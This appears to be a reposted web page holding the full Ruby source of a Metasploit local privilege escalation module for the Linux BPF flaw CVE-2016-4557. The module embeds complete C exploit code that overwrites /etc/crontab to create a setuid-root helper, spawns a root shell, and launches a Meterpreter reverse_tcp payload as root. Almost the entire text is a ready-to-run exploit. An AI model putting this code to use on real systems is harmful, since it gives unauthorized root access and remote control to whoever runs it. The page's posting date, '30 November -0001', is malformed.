Linux BPF Local Privilege Escalation Exploit
Posted on 30 November -0001
<HTML><HEAD><TITLE>Linux BPF Local Privilege Escalation Exploit</TITLE><META http-equiv="Content-Type" content="text/html; charset=utf-8"></HEAD><BODY>## # This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' class MetasploitModule < Msf::Exploit::Local Rank = GoodRanking include Msf::Exploit::EXE include Msf::Post::File include Msf::Exploit::FileDropper def initialize(info={}) super( update_info( info, { 'Name' => 'Linux BPF Local Privilege Escalation', 'Description' => %q{ Linux kernel >=4.4 with CONFIG_BPF_SYSCALL and kernel.unprivileged_bpf_disabled sysctl is not set to 1, BPF can be abused to priv escalate. Ubuntu 16.04 has all of these conditions met. }, 'License' => MSF_LICENSE, 'Author' => [ 'jannh@google.com', # discovery 'h00die <mike@shorebreaksecurity.com>' # metasploit module ], 'Platform' => [ 'linux' ], 'Arch' => [ ARCH_X86, ARCH_X86_64 ], 'SessionTypes' => [ 'shell', 'meterpreter' ], 'References' => [ [ 'CVE', '2016-4557' ], [ 'EDB', '39772' ], [ 'URL', 'https://bugs.chromium.org/p/project-zero/issues/detail?id=808' ], [ 'URL', 'https://git.kernel.org/cgit/linux/kernel/git/torvalds/linux.git/commit/?id=8358b02bf67d3a5d8a825070e1aa73f25fb2e4c7' ] ], 'Targets' => [ [ 'Linux x86', { 'Arch' => ARCH_X86 } ], [ 'Linux x64', { 'Arch' => ARCH_X86_64 } ] ], 'DefaultOptions' => { 'payload' => 'linux/x64/mettle/reverse_tcp', 'PrependFork' => true, 'WfsDelay' => 60 # we can chew up a lot of CPU for this, so we want to give time for payload to come through }, 'DefaultTarget' => 1, 'DisclosureDate' => 'May 04 2016', 'Privileged' => true } )) register_options([ OptString.new('WritableDir', [ true, 'A directory where we can write files', '/tmp' ]), OptEnum.new('COMPILE', [ true, 'Compile on target', 'Auto', ['Auto', 'True', 'False']]), OptInt.new('MAXWAIT', [ true, 'Max seconds to wait for decrementation in seconds', 120 ]) ], self.class) end def check def check_config_bpf_syscall?() output = cmd_exec('grep CONFIG_BPF_SYSCALL /boot/config-`uname -r`') if output == 'CONFIG_BPF_SYSCALL=y' vprint_good('CONFIG_BPF_SYSCALL is set to yes') return true else print_error('CONFIG_BPF_SYSCALL is NOT set to yes') return false end end def check_kernel_disabled?() output = cmd_exec('sysctl kernel.unprivileged_bpf_disabled') if output != 'kernel.unprivileged_bpf_disabled = 1' vprint_good('kernel.unprivileged_bpf_disabled is NOT set to 1') return true else print_error('kernel.unprivileged_bpf_disabled is set to 1') return false end end def check_fuse?() lib = cmd_exec('dpkg --get-selections | grep ^fuse') if lib.include?('install') vprint_good('fuse is installed') return true else print_error('fuse is not installed. Exploitation will fail.') return false end end def mount_point_exists?() if directory?('/tmp/fuse_mount') print_error('/tmp/fuse_mount should be unmounted and deleted. Exploitation will fail.') return false else vprint_good('/tmp/fuse_mount doesn't exist') return true end end if check_config_bpf_syscall?() && check_kernel_disabled?() && check_fuse?() && mount_point_exists?() CheckCode::Appears else CheckCode::Safe end end def exploit def upload_and_compile(filename, file_path, file_content, compile=nil) rm_f "#{file_path}" if not compile.nil? rm_f "#{file_path}.c" vprint_status("Writing #{filename} to #{file_path}.c") write_file("#{file_path}.c", file_content) register_file_for_cleanup("#{file_path}.c") output = cmd_exec(compile) if output != '' print_error(output) fail_with(Failure::Unknown, "#{filename} at #{file_path}.c failed to compile") end else vprint_status("Writing #{filename} to #{file_path}") write_file(file_path, file_content) end cmd_exec("chmod +x #{file_path}"); register_file_for_cleanup(file_path) end doubleput = %q{ #define _GNU_SOURCE #include <stdbool.h> #include <errno.h> #include <err.h> #include <unistd.h> #include <fcntl.h> #include <sched.h> #include <signal.h> #include <stdlib.h> #include <stdio.h> #include <string.h> #include <sys/types.h> #include <sys/stat.h> #include <sys/syscall.h> #include <sys/prctl.h> #include <sys/uio.h> #include <sys/mman.h> #include <sys/wait.h> #include <linux/bpf.h> #include <linux/kcmp.h> #ifndef __NR_bpf # if defined(__i386__) # define __NR_bpf 357 # elif defined(__x86_64__) # define __NR_bpf 321 # elif defined(__aarch64__) # define __NR_bpf 280 # else # error # endif #endif int uaf_fd; int task_b(void *p) { /* step 2: start writev with slow IOV, raising the refcount to 2 */ char *cwd = get_current_dir_name(); char data[2048]; sprintf(data, "* * * * * root /bin/chown root:root '%s'/suidhelper; /bin/chmod 06755 '%s'/suidhelper #", cwd, cwd); struct iovec iov = { .iov_base = data, .iov_len = strlen(data) }; if (system("fusermount -u /home/user/ebpf_mapfd_doubleput/fuse_mount 2>/dev/null; mkdir -p fuse_mount && ./hello ./fuse_mount")) errx(1, "system() failed"); int fuse_fd = open("fuse_mount/hello", O_RDWR); if (fuse_fd == -1) err(1, "unable to open FUSE fd"); if (write(fuse_fd, &iov, sizeof(iov)) != sizeof(iov)) errx(1, "unable to write to FUSE fd"); struct iovec *iov_ = mmap(NULL, sizeof(iov), PROT_READ, MAP_SHARED, fuse_fd, 0); if (iov_ == MAP_FAILED) err(1, "unable to mmap FUSE fd"); fputs("starting writev ", stderr); ssize_t writev_res = writev(uaf_fd, iov_, 1); /* ... and starting inside the previous line, also step 6: continue writev with slow IOV */ if (writev_res == -1) err(1, "writev failed"); if (writev_res != strlen(data)) errx(1, "writev returned %d", (int)writev_res); fputs("writev returned successfully. if this worked, you'll have a root shell in <=60 seconds. ", stderr); while (1) sleep(1); /* whatever, just don't crash */ } void make_setuid(void) { /* step 1: open writable UAF fd */ uaf_fd = open("/dev/null", O_WRONLY|O_CLOEXEC); if (uaf_fd == -1) err(1, "unable to open UAF fd"); /* refcount is now 1 */ char child_stack[20000]; int child = clone(task_b, child_stack + sizeof(child_stack), CLONE_FILES | SIGCHLD, NULL); if (child == -1) err(1, "clone"); sleep(3); /* refcount is now 2 */ /* step 2+3: use BPF to remove two references */ for (int i=0; i<2; i++) { struct bpf_insn insns[2] = { { .code = BPF_LD | BPF_IMM | BPF_DW, .src_reg = BPF_PSEUDO_MAP_FD, .imm = uaf_fd }, { } }; union bpf_attr attr = { .prog_type = BPF_PROG_TYPE_SOCKET_FILTER, .insn_cnt = 2, .insns = (__aligned_u64) insns, .license = (__aligned_u64)"" }; if (syscall(__NR_bpf, BPF_PROG_LOAD, &attr, sizeof(attr)) != -1) errx(1, "expected BPF_PROG_LOAD to fail, but it didn't"); if (errno != EINVAL) err(1, "expected BPF_PROG_LOAD to fail with -EINVAL, got different error"); } /* refcount is now 0, the file is freed soon-ish */ /* step 5: open a bunch of readonly file descriptors to the target file until we hit the same pointer */ int status; int hostnamefds[1000]; int used_fds = 0; bool up = true; while (1) { if (waitpid(child, &status, WNOHANG) == child) errx(1, "child quit before we got a good file*"); if (up) { hostnamefds[used_fds] = open("/etc/crontab", O_RDONLY); if (hostnamefds[used_fds] == -1) err(1, "open target file"); if (syscall(__NR_kcmp, getpid(), getpid(), KCMP_FILE, uaf_fd, hostnamefds[used_fds]) == 0) break; used_fds++; if (used_fds == 1000) up = false; } else { close(hostnamefds[--used_fds]); if (used_fds == 0) up = true; } } fputs("woohoo, got pointer reuse ", stderr); while (1) sleep(1); /* whatever, just don't crash */ } int main(void) { pid_t child = fork(); if (child == -1) err(1, "fork"); if (child == 0) make_setuid(); struct stat helperstat; while (1) { if (stat("suidhelper", &helperstat)) err(1, "stat suidhelper"); if (helperstat.st_mode & S_ISUID) break; sleep(1); } fputs("suid file detected, launching rootshell... ", stderr); execl("./suidhelper", "suidhelper", NULL); err(1, "execl suidhelper"); } } suid_helper = %q{ #include <unistd.h> #include <err.h> #include <stdio.h> #include <sys/types.h> int main(void) { if (setuid(0) || setgid(0)) err(1, "setuid/setgid"); fputs("we have root privs now... ", stderr); execl("/bin/bash", "bash", NULL); err(1, "execl"); } } hello = %q{ /* FUSE: Filesystem in Userspace Copyright (C) 2001-2007 Miklos Szeredi <miklos@szeredi.hu> heavily modified by Jann Horn <jannh@google.com> This program can be distributed under the terms of the GNU GPL. See the file COPYING. gcc -Wall hello.c `pkg-config fuse --cflags --libs` -o hello */ #define FUSE_USE_VERSION 26 #include <fuse.h> #include <stdio.h> #include <string.h> #include <errno.h> #include <fcntl.h> #include <unistd.h> #include <err.h> #include <sys/uio.h> static const char *hello_path = "/hello"; static char data_state[sizeof(struct iovec)]; static int hello_getattr(const char *path, struct stat *stbuf) { int res = 0; memset(stbuf, 0, sizeof(struct stat)); if (strcmp(path, "/") == 0) { stbuf->st_mode = S_IFDIR | 0755; stbuf->st_nlink = 2; } else if (strcmp(path, hello_path) == 0) { stbuf->st_mode = S_IFREG | 0666; stbuf->st_nlink = 1; stbuf->st_size = sizeof(data_state); stbuf->st_blocks = 0; } else res = -ENOENT; return res; } static int hello_readdir(const char *path, void *buf, fuse_fill_dir_t filler, off_t offset, struct fuse_file_info *fi) { filler(buf, ".", NULL, 0); filler(buf, "..", NULL, 0); filler(buf, hello_path + 1, NULL, 0); return 0; } static int hello_open(const char *path, struct fuse_file_info *fi) { return 0; } static int hello_read(const char *path, char *buf, size_t size, off_t offset, struct fuse_file_info *fi) { sleep(10); size_t len = sizeof(data_state); if (offset < len) { if (offset + size > len) size = len - offset; memcpy(buf, data_state + offset, size); } else size = 0; return size; } static int hello_write(const char *path, const char *buf, size_t size, off_t offset, struct fuse_file_info *fi) { if (offset != 0) errx(1, "got write with nonzero offset"); if (size != sizeof(data_state)) errx(1, "got write with size %d", (int)size); memcpy(data_state + offset, buf, size); return size; } static struct fuse_operations hello_oper = { .getattr = hello_getattr, .readdir = hello_readdir, .open = hello_open, .read = hello_read, .write = hello_write, }; int main(int argc, char *argv[]) { return fuse_main(argc, argv, &hello_oper, NULL); } } hello_filename = 'hello' hello_path = "#{datastore['WritableDir']}/#{hello_filename}" doubleput_file = "#{datastore['WritableDir']}/doubleput" suidhelper_filename = 'suidhelper' suidhelper_path = "#{datastore['WritableDir']}/#{suidhelper_filename}" payload_filename = rand_text_alpha(8) payload_path = "#{datastore['WritableDir']}/#{payload_filename}" if check != CheckCode::Appears fail_with(Failure::NotVulnerable, 'Target not vulnerable! punt!') end def has_prereqs?() def check_libfuse_dev?() lib = cmd_exec('dpkg --get-selections | grep libfuse-dev') if lib.include?('install') vprint_good('libfuse-dev is installed') return true else print_error('libfuse-dev is not installed. Compiling will fail.') return false end end def check_gcc?() gcc = cmd_exec('which gcc') if gcc.include?('gcc') vprint_good('gcc is installed') return true else print_error('gcc is not installed. Compiling will fail.') return false end end def check_pkgconfig?() lib = cmd_exec('dpkg --get-selections | grep ^pkg-config') if lib.include?('install') vprint_good('pkg-config is installed') return true else print_error('pkg-config is not installed. Exploitation will fail.') return false end end return check_libfuse_dev?() && check_gcc?() && check_pkgconfig?() end compile = false if datastore['COMPILE'] == 'Auto' || datastore['COMPILE'] == 'True' if has_prereqs?() compile = true vprint_status('Live compiling exploit on system') else vprint_status('Dropping pre-compiled exploit on system') end end if compile == false # doubleput file path = ::File.join( Msf::Config.data_directory, 'exploits', 'CVE-2016-4557', 'doubleput') fd = ::File.open( path, "rb") doubleput = fd.read(fd.stat.size) fd.close # hello file path = ::File.join( Msf::Config.data_directory, 'exploits', 'CVE-2016-4557', 'hello') fd = ::File.open( path, "rb") hello = fd.read(fd.stat.size) fd.close # suidhelper file path = ::File.join( Msf::Config.data_directory, 'exploits', 'CVE-2016-4557', 'suidhelper') fd = ::File.open( path, "rb") suid_helper = fd.read(fd.stat.size) fd.close # overwrite with the hardcoded variable names in the compiled versions payload_filename = 'AyDJSaMM' payload_path = '/tmp/AyDJSaMM' end # make our substitutions so things are dynamic suid_helper.gsub!(/execl("/bin/bash", "bash", NULL);/, "return execl("#{payload_path}", "", NULL);") #launch our payload, and do it in a return to not freeze the executable doubleput.gsub!(/execl("./suidhelper", "suidhelper", NULL);/, 'exit(0);') print_status('Writing files to target') cmd_exec("cd #{datastore['WritableDir']}") upload_and_compile('hello', hello_path, hello, compile ? "gcc -o #{hello_filename} #{hello_filename}.c -Wall -std=gnu99 `pkg-config fuse --cflags --libs`" : nil) upload_and_compile('doubleput', doubleput_file, doubleput, compile ? "gcc -o #{doubleput_file} #{doubleput_file}.c -Wall" : nil) upload_and_compile('suidhelper', suidhelper_path, suid_helper, compile ? "gcc -o #{suidhelper_filename} #{suidhelper_filename}.c -Wall" : nil) upload_and_compile('payload', payload_path, generate_payload_exe) print_status('Starting execution of priv esc. This may take about 120 seconds') cmd_exec(doubleput_file) sec_waited = 0 until sec_waited > datastore['MAXWAIT'] do Rex.sleep(1) # check file permissions if cmd_exec("ls -lah #{suidhelper_path}").include?('-rwsr-sr-x 1 root root') print_good('got root, starting payload') print_error('This exploit may require process killing of 'hello', and 'doubleput' on the target') print_error('This exploit may require manual umounting of /tmp/fuse_mount via 'fusermount -z -u /tmp/fuse_mount' on the target') print_error('This exploit may require manual deletion of /tmp/fuse_mount via 'rm -rf /tmp/fuse_mount' on the target') cmd_exec("#{suidhelper_path}") return end sec_waited +=1 end end def on_new_session(session) # if we don't /bin/bash here, our payload times out # [*] Meterpreter session 2 opened (192.168.199.131:4444 -> 192.168.199.130:37022) at 2016-09-27 14:15:04 -0400 # [*] 192.168.199.130 - Meterpreter session 2 closed. Reason: Died session.shell_command_token('/bin/bash') super end end </BODY></HTML>
